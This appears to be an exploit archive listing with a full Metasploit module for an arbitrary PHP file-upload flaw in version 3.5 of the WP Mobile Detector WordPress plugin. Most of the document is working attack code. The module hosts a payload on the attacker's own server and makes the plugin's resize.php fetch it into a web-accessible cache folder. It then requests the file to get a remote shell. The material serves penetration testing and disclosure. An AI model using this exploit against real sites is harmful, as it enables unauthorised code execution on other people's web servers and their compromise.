WordPress WP Mobile Detector 3.5 Shell Upload

WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /wp-content/plugins/wp-mobile-detector/resize.php script does contains a remote file include for files not cached by the system already. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server.


MD5 | 1d01dc001a0e9ab61957d22e50f28f0c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
'Description' => %q{
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
to execute arbitrary PHP code. This flaw exists because the
/wp-content/plugins/wp-mobile-detector/resize.php script does contains a
remote file include for files not cached by the system already.
By uploading a .php file, the remote system will
place the file in a user-accessible path. Making a direct request to the
uploaded file will allow the attacker to execute the script with the privileges
of the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'pluginvulnerabilities.com', # Vulnerability disclosure
'Aaditya Purani', # EDB module discovered after writing module
'h00die' # Metasploit module
],
'References' =>
[
['WPVDB', '8505'],
['EDB', '39891'],
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
],
'DisclosureDate' => 'May 31 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-mobile-detectory < 3.6', {}]],
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
end

def check
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
end

def exploit
payload_name = rand_text_alphanumeric(10) + '.php'

# First check to see if the file is written already, if it is cache wont retrieve it from us
res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
)
if res && !res.body.include?(payload_name)
vprint_status("#{payload_name} verified as not written.")
else
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
end

def on_request_uri(cli, _request)
print_good('Payload requested on server, sending')
send_response(cli, payload.encoded)
end

print_status('Starting Payload Server')
start_service('Path' => "/#{payload_name}")

print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")

res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
'vars_get' => {'src' => get_uri}
)

if res && res.code == 200
print_good('Sleeping 5 seconds for payload upload')
register_files_for_cleanup(payload_name)

Rex.sleep(5)

print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
send_request_cgi(
{
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
})
# wait for callback, without this we exit too fast and miss our shell
Rex.sleep(2)
else
if res.nil?
fail_with(Failure::Unreachable, 'No response from the target')
else
vprint_error("HTTP Status: #{res.code}")
vprint_error("Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end
end
end

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